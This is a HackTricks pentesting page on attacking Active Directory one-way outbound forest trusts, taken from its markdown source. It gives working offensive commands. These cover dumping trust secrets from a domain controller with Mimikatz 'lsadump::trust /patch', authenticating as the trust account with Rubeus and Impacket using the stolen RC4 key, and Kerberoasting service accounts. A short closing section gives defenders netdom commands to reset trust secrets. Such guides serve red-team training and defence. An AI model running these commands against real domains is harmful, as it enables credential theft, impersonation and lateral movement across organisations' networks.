external-forest-domain-one-way-outbound.md (9671B)
1 --- 2 title: "External Forest Domain - One-Way (Outbound)" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # External Forest Domain - One-Way (Outbound) 14 15 In this scenario **your domain** is **trusting** some **privileges** to principals from a **different domain/forest**. 16 17 ## Enumeration 18 19 ### Outbound Trust 20 21 ```bash 22 # Notice Outbound trust 23 Get-DomainTrust 24 SourceName : root.local 25 TargetName : ext.local 26 TrustType : WINDOWS_ACTIVE_DIRECTORY 27 TrustAttributes : FOREST_TRANSITIVE 28 TrustDirection : Outbound 29 WhenCreated : 2/19/2021 10:15:24 PM 30 WhenChanged : 2/19/2021 10:15:24 PM 31 32 # Lets find the current domain group giving permissions to the external domain 33 Get-DomainForeignGroupMember 34 GroupDomain : root.local 35 GroupName : External Users 36 GroupDistinguishedName : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL 37 MemberDomain : root.io 38 MemberName : S-1-5-21-1028541967-2937615241-1935644758-1115 39 MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL 40 ## Note how the members aren't from the current domain (ConvertFrom-SID won't work) 41 ``` 42 43 If you have the AD module available, inspect the **Trusted Domain Object (TDO)** directly as well. This gives you the raw LDAP-backed trust data you will later need when deciding whether the easy path is **FSP/group abuse** or **trust-account abuse**: 44 45 ```powershell 46 # Enumerate the TDO created for the foreign forest/domain 47 Get-ADObject -LDAPFilter '(objectClass=trustedDomain)' -SearchBase "CN=System,$((Get-ADDomain).DistinguishedName)" -Properties trustDirection,trustType,trustAttributes,flatName,securityIdentifier,whenCreated,whenChanged | 48 Select Name,flatName,trustDirection,trustType,trustAttributes,securityIdentifier,whenCreated,whenChanged 49 50 # Fast trust hygiene check from the outbound side 51 Get-ADTrust -Identity ext.local -Properties ForestTransitive,SelectiveAuthentication,SIDFilteringQuarantined,SIDFilteringForestAware,TGTDelegation 52 ``` 53 54 You should also enumerate where the foreign principals from `CN=ForeignSecurityPrincipals` were actually granted access. Common wins are: 55 56 - **Local admin** on a server/DC in your current domain 57 - Membership in a **custom domain group** that has ACLs over users/computers/GPOs 58 - Rights to modify **computer objects**, which can later become [RBCD](/hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation) if the trust configuration allows it 59 60 ## Trust Account Attack 61 62 When a one-way trust is created from domain/forest **B** to domain/forest **A** (**B trusts A**), a **trust account** for **B** is created in **A**. In the outbound-trust view of **A**, this is useful because if you later compromise **B** (the trusting side), you can dump the trust secret there and authenticate back to **A** as `B$`.<sup>[[1]](#references)</sup> 63 64 The critical aspect to understand here is that the password and Kerberos material for that trust account can be extracted from a Domain Controller in the **trusting** domain using:<sup>[[1]](#references)</sup> 65 66 ```bash 67 Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local 68 ``` 69 70 This works because the trust account created in the **trusted** domain is an enabled principal that ends up with the baseline rights of a normal domain user there. That is often enough to start enumerating LDAP, request tickets, and find the next escalation path.<sup>[[1]](#references)</sup> 71 72 In a scenario where `ext.local` is the **trusting** domain and `root.local` is the **trusted** domain, a user account named `EXT$` is created inside `root.local`. Dumping the trust keys from `ext.local` reveals credentials that can be used as `root.local\EXT$` against `root.local`:<sup>[[1]](#references)</sup> 73 74 ```bash 75 lsadump::trust /patch 76 ``` 77 78 Following this, use the extracted **RC4** key to authenticate as `root.local\EXT$` inside `root.local`:<sup>[[1]](#references)</sup> 79 80 ```bash 81 .\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt 82 ``` 83 84 Then enumerate the trusted domain as that principal, for example by Kerberoasting a high-value SPN in `root.local`:<sup>[[1]](#references)</sup> 85 86 ```bash 87 .\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local 88 ``` 89 90 ### From Linux 91 92 If you recovered the **RC4** trust-account key, the same idea works from Linux with Impacket: 93 94 ```bash 95 python getTGT.py -dc-ip dc.root.local root.local/EXT\$ -hashes :<RC4> 96 export KRB5CCNAME=EXT\$.ccache 97 98 # Kerberoast from the trusted domain as the trust account 99 GetUserSPNs.py -request -k -no-pass -dc-ip dc.root.local root.local/EXT\$ -outputfile root_spns.kerberoast 100 101 # Or reduce noise and request only one user 102 GetUserSPNs.py -request-user svc_sql -k -no-pass -dc-ip dc.root.local root.local/EXT\$ 103 ``` 104 105 If **RC4** is not accepted, fall back to the recovered **cleartext password** (or derived **AES** keys) and reuse the usual [Over-Pass-the-Hash / Pass-the-Key](/hacktricks/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key) and [Kerberoast](/hacktricks/windows-hardening/active-directory-methodology/kerberoast) workflows from that foothold. 106 107 ### Key material gotchas 108 109 Don't mix up **trust keys** and **trust-account credentials**:<sup>[[1]](#references)</sup> 110 111 - In a one-way trust, both sides store a **TDO**, but the actual **`EXT$` user account only exists in the trusted domain**. 112 - The current trust-account password is reflected in the TDO trust secret (`NewPassword` / current trust key). 113 - The **RC4** trust key is the easiest artifact to reuse for `asktgt` as the trust account; in default setups this is usually the working enctype because the trust account often has a blank `msDS-SupportedEncryptionTypes`. 114 - If you are thinking in terms of **AES trust keys**, remember they are not interchangeable with the trust-account AES keys because the salts differ. 115 116 So, for the technique on this page, prefer either the dumped **RC4** material or the recovered **cleartext** password.<sup>[[1]](#references)</sup> 117 118 ### Gathering cleartext trust password 119 120 In the previous flow it was used the trust hash instead of the **cleartext password** (that is also **dumped by mimikatz**).<sup>[[1]](#references)</sup> 121 122 The cleartext password can be obtained by converting the \[ CLEAR ] output from mimikatz from hexadecimal and removing null bytes `\x00`:<sup>[[1]](#references)</sup> 123 124  125 126 Sometimes when creating a trust relationship, a password must be typed in by the user for the trust. In this demonstration, the key is the original trust password and therefore human readable. As the key rotates (default: every 30 days), the cleartext will usually stop being human readable but is still technically usable.<sup>[[1]](#references)</sup> 127 128 The cleartext password can be used to perform regular authentication as the trust account, as an alternative to requesting a TGT with the Kerberos secret key of the trust account. Here, querying `root.local` from `ext.local` for members of `Domain Admins`:<sup>[[1]](#references)</sup> 129 130  131 132 ### Practical limitations 133 134 > [!WARNING] 135 > Trust accounts are awkward principals. Interactive logons such as **RUNAS / console / RDP** are not the expected path here, and **NTLM** authentication attempts can fail with `STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT`. Plan for **Kerberos network logons** (`asktgt`, LDAP, CIFS, Kerberoast) instead.<sup>[[1]](#references)</sup> 136 137 ### Persistence / cleanup note 138 139 If defenders realize the trusting domain was compromised, they should rotate the trust secret on **both sides** with `netdom trust ... /resetOneSide ...`. From an operator perspective this matters because a **manual reset invalidates the old trust material immediately**, while normal trust-password rotation keeps current/previous values around during rollover.<sup>[[2]](#references)</sup> 140 141 ```bash 142 # Run once from the trusted side 143 netdom trust root.local /domain:ext.local /resetOneSide /passwordT:<NEWPASS> /userO:administrator /passwordO:* 144 145 # Run once from the trusting side 146 netdom trust ext.local /domain:root.local /resetOneSide /passwordT:<NEWPASS> /userO:administrator /passwordO:* 147 ``` 148 149 ## References 150 151 - [1] [SID filter as security boundary between domains? (Part 7) – Trust account attack – from trusting to trusted](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-7) 152 - [2] [AD Forest Recovery – Resetting a trust password](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/forest-recovery-guide/ad-forest-recovery-reset-trust)